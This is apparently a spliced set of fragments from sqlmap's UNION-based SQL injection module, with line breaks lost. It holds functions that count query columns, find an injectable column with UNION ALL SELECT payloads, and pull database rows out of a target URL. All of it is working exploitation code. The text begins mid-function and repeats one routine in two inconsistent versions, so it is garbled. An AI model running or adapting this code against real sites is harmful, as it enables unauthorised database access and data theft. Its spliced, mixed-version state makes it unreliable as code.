payload kb.unionDuplicates = content.count(phrase) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) # Confirm that it is a full inband SQL injection query = agent.forgeInbandQuery( randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % ( page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % ( position + 1) warnMsg += "column with better characteristics" logger.warn(warnMsg) else: break return validPayload, vector
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def __orderByTechnique(): def __orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by)", page or "", re.I) and comparison(page, headers) if __orderByTest(1) and not __orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if __orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if __orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: found = kb.orderByColumns or __orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target url appears to have %d columns in query" % found singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] if len(filter(lambda x: x[1], contains)) == 1: retVal = filter(lambda x: x[1], contains)[0][0] break if not retVal: ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(map(lambda x: x == min_ and x != max_, ratios)): retVal = maxItem[0] elif all(map(lambda x: x != min_ and x == max_, ratios)): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) lower, upper = average( ratios) - UNION_STDEV_COEFF * deviation, average( ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg) return retVal
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ count = None origExpr = expression start = time.time() startLimit = 0 stopLimit = None test = True value = "" global reqCount if resetCounter: reqCount = 0 if not kb.unionTest: unionTest() if not kb.unionCount: return # Prepare expression with delimiters if unescape: expression = agent.concatQuery(expression, unpack) expression = unescaper.unescape(expression) if ( kb.unionNegative or kb.unionFalseCond ) and not direct: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I) if limitRegExp: if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ): limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStop = queries[kb.dbms].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms == DBMS.MSSQL: limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStop = queries[kb.dbms].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms == DBMS.ORACLE: limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ): stopLimit += startLimit untilLimitChar = expression.index(queries[kb.dbms].limitstring.query) expression = expression[:untilLimitChar] elif kb.dbms == DBMS.MSSQL: stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart if conf.limitStop: stopLimit = conf.limitStop if not stopLimit or stopLimit <= 1: if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"): test = False else: test = True if test: # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0] countedExpression = origExpr.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) if not stopLimit: if not count or not count.isdigit(): output = unionUse(countedExpression, direct=True) if output: count = parseUnionPage(output, countedExpression) if count and count.isdigit() and int(count) > 0: stopLimit = int(count) infoMsg = "the SQL query provided returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif ( not count or int(count) == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return for num in xrange(startLimit, stopLimit): if kb.dbms == DBMS.MSSQL: field = expressionFieldsList[0] elif kb.dbms == DBMS.ORACLE: field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = resume(limitedExpr, None) if not output: output = unionUse(limitedExpr, direct=True, unescape=False) if output: value += output parseUnionPage(output, limitedExpr) return value value = unionUse(expression, direct=True, unescape=False) else: # Forge the inband SQL injection request query = agent.forgeInbandQuery(expression, nullChar=nullChar) payload = agent.payload(newValue=query) debugMsg = "query: %s" % query logger.debug(debugMsg) # Perform the request resultPage, _ = Request.queryPage(payload, content=True) reqCount += 1 if kb.misc.start not in resultPage or kb.misc.stop not in resultPage: return # Parse the returned page to get the exact inband # sql injection output startPosition = resultPage.index(kb.misc.start) endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop) value = getUnicode(resultPage[startPosition:endPosition]) duration = calculateDeltaSeconds(start) debugMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.debug(debugMsg) return value
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = range(0, count) # Unbiased approach for searching appropriate usable column random.shuffle(positions) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop) randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ payload, True) or "") if content and phrase in content: validPayload = payload vector = (position, count, comment, prefix, suffix, conf.uChar, where) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop) randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) # Confirm that it is a full inband SQL injection query = agent.forgeInbandQuery( randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) content = "%s%s".lower() % ( page or "", listToStrValue(headers.headers if headers else None) or "") if content and ( (phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)): vector = (position, count, comment, prefix, suffix, conf.uChar, PAYLOAD.WHERE.NEGATIVE) break return validPayload, vector